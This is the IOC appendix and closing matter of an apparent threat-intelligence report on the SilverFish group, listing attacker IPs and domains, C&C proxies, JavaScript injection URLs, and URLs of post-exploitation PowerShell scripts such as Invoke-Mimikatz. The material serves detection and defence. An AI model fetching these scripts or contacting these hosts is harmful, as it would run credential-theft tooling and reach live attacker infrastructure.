|--------------------------------------------------------| | SHA1:615321ff979379e66f9471368ed3c057a0f4e17c | |--------------------------------------------------------| | | |----------------------------------------------------------------------------------| | SHA256:5ed2e0bf353cfee15e50f2e4188fed20c79cf2c6dc517c34069570ddca9c92f9 | |----------------------------------------------------------------------------------| ## 6.2 Traffic Distribution Servers 179.43.169.30 179.43.169.31 179.43.169.32 79.110.52.138 79.110.52.139 79.110.52.140 champions.gdtc.org flowers.netplusplans.com flowers.thegardnerco.com pointers.ecostratas.com popcorn.net-zero design.com test.news.pocketstay.com {42}------------------------------------------------ ## 6.3 C&C Servers ``` 146.0.32.16 178.249.69.35 130.0.235.92 ``` ## 6.4 Threat Actor IP Addresses ``` 23.106.61.74 5.61.57.152 74.72.74.142 ``` ## 6.5 VictimTotal Servers ``` 185.163.45.150 185.163.47.211 moreeu.cn moreofit.cn ``` ## 6.6 C&C Proxies ``` 130.0.232.194 130.0.233.178 130.0.233.91 130.0.234.134 130.0.235.213 130.0.235.92 130.0.236.147 130.0.237.176 130.0.238.192 130.0.239.178 141.255.161.180 185.122.57.238 188.120.239.154 37.48.84.156 79.110.52.138 81.4.122.101 40ort.750.credit adagio.betterworldshopping.com admirer.onehourcfo.com backup.awarfaregaming.com bmlor.750.credit builder.visionarybusiness.net combat.strategyforgood.com context.septemberyears.org daddy.stlouisdemoday.com defender5.coachwithak.com fanta.swofficefurniture.com freespace.givingprofits.net gallery.wineadam.com ``` {43}------------------------------------------------ ``` group3.pulsedesigngroup.us inferno.bigpurposebigimpact.com inspirer.cartsandmowers.com joke.webproduct.info joomla.lifepath.site lion.vipjoyeria.com method.nonprofitsustainability.com phpmyadmin.xsunx.com pixelapn2.adsprofitnetwork.com pixelapn.adsprofitnetwork.com plkiu.daniyalmedicaltech.com printing.laminatesandthings.com promo9.promossupply.com prompt.powerofpartnerships.net q.promossupply.com rock.core-thought.com snuff.mybabyrose.com standart.sdtranspo.com time.suehyatt.com zombie.susan-hyatt.com ``` ## 6.7 Post-Exploitation Servers ``` 104.128.228.76 141.136.0.4 149.154.157.248 173.232.146.12 176.10.118.136 179.43.141.188 185.14.29.246 185.189.151.178 185.189.151.182 185.43.220.214 185.99.133.129 188.138.71.62 38.135.104.189 84.38.183.45 91.219.239.43 91.219.239.54 coloradospringsroofing.info lamarfish.com robotvice.com roofingspecialists.info signup-now.com tanzaniafisheries.com ``` ## 6.8 Domain Fronting Servers ``` d3ser9acyt7cdp.cloudfront.net twimg-us.azureedge.net ``` {44}------------------------------------------------ ## 6.9 Javascript Injection Points ``` jenkins.findfwd.com/sk-jspark_init.php test.directfwd.com/sk-jspark_init.php securesearchnow.com/sk-jspark_init.php alertmeter.info/sk-jspark_init.php freeresultsguide.com/sk-jspark_init.php ``` ## 6.10 External Post-Exploitation Scripts ``` 141.136.0.4/46tt83y6.ps1 173.232.146.12/Invoke-SocksProxy.psm1 176.10.118.136/pwrvw.ps1 179.43.141.188:80/46tt83y6.ps1 179.43.141.188:81/46tt83y6.ps1 179.43.141.188:82/46tt83y6.ps1 179.43.141.188:83/46tt83y6.ps1 185.14.29.246:80/Invoke-SocksProxy.psm1 185.189.151.178:80/Invoke-SocksProxy.psm1 185.189.151.182:443/46tt83y6.ps1 185.189.151.182:443/pwrvw.ps1 185.189.151.182:80/46tt83y6.ps1 185.189.151.182:80/pwrvw.ps1 185.43.220.214:80/Invoke-SocksProxy.psm1 185.43.220.214:80/pwrvw.ps1 185.99.133.129:80/p0fd798.ps1 188.138.71.62:80/Invoke-SocksProxy.psm1 188.138.71.62:80/p0fd798.ps1 38.135.104.189:80/46tt83y6.ps1 91.219.239.43:143/46tt83y6.ps1 91.219.239.43:80/46tt83y6.ps1 91.219.239.54:80/46tt83y6.ps1 91.219.239.54:81/46tt83y6.ps1 91.219.239.54:82/46tt83y6.ps1 coloradospringsroofing.info/file raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 raw.githubusercontent.com/device33/PowerView.ps1/master/PowerView.ps1 raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 roofingspecialists.info/file rtfv.info/time ``` {45}------------------------------------------------ ## 6.11 TTP List – MITRE ATT&CK Codes | | | | | | | | | | | | | |-------|-------|-------|-------|-------|-------|-------|-------|-------|-------|-------|-------| | T1001 | T1003 | T1005 | T1007 | T1012 | T1018 | T1021 | T1027 | T1036 | T1039 | T1041 | T1047 | | T1049 | T1053 | T1059 | T1068 | T1069 | T1071 | T1072 | T1078 | T1083 | T1087 | T1090 | T1098 | | T1102 | T1104 | T1106 | T1112 | T1114 | T1124 | T1127 | T1129 | T1132 | T1133 | T1134 | T1135 | | T1102 | T1104 | T1106 | T1112 | T1114 | T1124 | T1127 | T1129 | T1132 | T1133 | T1134 | T1135 | | T1140 | T1190 | T1195 | T1199 | T1202 | T1204 | T1210 | T1211 | T1212 | T1218 | T1219 | T1482 | | T1484 | T1518 | T1530 | T1538 | T1546 | T1547 | T1548 | T1552 | T1555 | T1559 | T1564 | T1566 | | T1568 | T1569 | T1570 | T1571 | T1572 | T1583 | T1585 | T1586 | T1587 | T1588 | T1595 | T1598 | {46}------------------------------------------------ # Références - [1] Bloomberg.*Russian 'Evil Corp' Is Behind a Decade of Hacks, U.S.Says*.url:.(accessed:13.03.2021).- [2] CloudFlare.*Trend data on the SolarWinds Orion compromise*.url:.(accessed:14.03.2021).- [3] CNN.*US agencies investigating hacking of government networks*.url:.(accessed:14.03.2021).- [4] Bleeping Computer.*PowerShell Empire | Building an Empire with PowerShell*.url:.(accessed:15.03.2021).- [5] Bleeping Computer.*TDS Systems Are the Next Big Money Makers in the Land of Cybercrime*.url:.(accessed:15.03.2021).- [6] CSO.*WastedLocker explained:How this targeted ransomware extorts millions from victims*.url:.(accessed:14.03.2021).- [7] Benjamin DELPY.*Mimikatz*.url:.(accessed:15.03.2021).- [8] Fireeye.*FireEye Mandiant SunBurst Countermeasures*.url:[https://github.com/fireeye/sunburst\\_countermeasures](https://github.com/fireeye/sunburst_countermeasures).(accessed:13.03.2021).- [9] Fireeye.*SUNBURST Additional Technical Details*.url:.(accessed:13.03.2021).- [10] NetSupport Inc.*Net Support Manager*.url:.(accessed:16.03.2021).- [11] Independent.*Police expose 'world's most harmful cyber crime group' Evil Corp*.url:.(accessed:15.03.2021).- [12] Microsoft.*How the Antimalware Scan Interface (AMSI) helps you defend against malware*.url:.(accessed:15.03.2021).- [13] MITRE.*Proxy:Domain Fronting*.url:.(accessed:15.03.2021).- [14] Nist.*Critical Infrastructure Resources*.url:.(accessed:15.03.2021).- [15] p3nt4.*Invoke-SocksProxy*.url:.(accessed:15.03.2021). {47}------------------------------------------------ - [16] Reuters.*SolarWinds hack was 'largest and most sophisticated attack' ever:Microsoft president*.url:.(accessed:13.03.2021).- [17] SCMedia.*Evil Corp debuts WastedLocker ransomware and new TTPs, researchers say*.url:.(accessed:15.03.2021).- [18] Solarwinds.*SolarWinds Security Advisory*.url:.(accessed:13.03.2021).- [19] Sophos.*Solarwinds-Threathunt IOC*.url:.(accessed:15.03.2021).- [20] Microsoft 365 Defender Threat Intelligence Team.*GoldMax, GoldFinder, and Sibot:Analyzing NOBELIUM's layered persistence*.url:.(accessed:15.03.2021).- [21] TheGuardian.*SolarWinds hack was work of 'at least 1,000 engineers', tech executives tell Senate*.url:.(accessed:13.03.2021).- [22] ThreatExpress.*CobaltStrike malleable profile*.url:.(accessed:14.03.2021).- [23] USTreasury.*Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware*.url:.(accessed:14.03.2021).- [24] zerosum0x0.*Koadic C3 COM Command and Control - JScript RAT*.url:.(accessed:15.03.2021). {48}------------------------------------------------ # Acknowledgement We would like to thank our advisors Jean-Christophe Le Toquin@SOCOGI , Senad Aruc@CISCO , Nils Roald@Splunk for their valuable guidance and support throughout this research. The public version of the report will be shared from our github page .While our research is comprehensive as it includes both technical details and statistical analysis of the SilverFish group, it is not practical to include every single detail in this report.The readers can find new samples, IOCs, and new versions of this report from our github page as we will constantly update it based on new findings. ## Historique | Version | Date | Auteur(s) | Modifications | |---------|------------|-----------|-----------------------| | 1.0 | 15.03.2021 | PTI Team | Initial release | | 1.1 | 16.03.2021 | PTI Team | Added Koadic | | 1.2 | 16.03.2021 | PTI Team | Server Analysis | | 1.3 | 17.03.2021 | PTI Team | Added new IOCs | | 1.4 | 17.03.2021 | PTI Team | Added new figures | | 1.5 | 17.03.2021 | PTI Team | Fixed some bugs | | 1.5 | 17.03.2021 | PTI Team | Added acknowledgement | ![A stylized world map composed of a network of interconnected nodes and lines, representing global connectivity or a network map.](555996c5b2c9b5333629d95b83d1cb73_img.jpg) A stylized world map composed of a network of interconnected nodes and lines, representing global connectivity or a network map. PRODAFT was founded as a cyber threat intelligence company in 2012. Aimed at creating a difference through expertise, the brand has significantly evolved thanks to its apposite technologies, all of which are developed in-house. By looking at cyber threats from a realistic perspective, PRODAFT has always positioned itself as a "professionally unconventional" provider in its field, thanks to a suite of proprietary solutions. PRODAFT continues to serve a range of global brands and critical industries via its threat intelligence, penetration testing and security research teams. To ensure proactive nature of PRODAFT's solutions, our operational cycles are constantly reviewed and adapted to emerging challenges within cyber arena.Owing to this constant state of flux, PRODAFT is always prepared for the new realities and challenges of cyber security. Our clients will never find themselves blindsided by any newly evolving cyber trend.Our commitment in this regard is the main reason behind PRODAFT's popularity among high-profile organizations. Contact:[info@prodaft.com](mailto:info@prodaft.com) Address:Y-Parc, rue Gaïllée 7, 1400 Yverdon-les-Bains, Switzerland [comment]:<> (===END_PAGE 1===) ----------------

	Report Title↓	Published Date	TLP Level	Admiralty Code	Threat Score	Created By
	SilverFish_Solarwinds.pdf	2021-03-18	TLP:CLEAR	ADMIRALTY:B2	90	dogesec
	Nobelium2021.pdf	2021-12-03	TLP:CLEAR	ADMIRALTY:B2	90	dogesec

APT_Report: SunBurst

Reports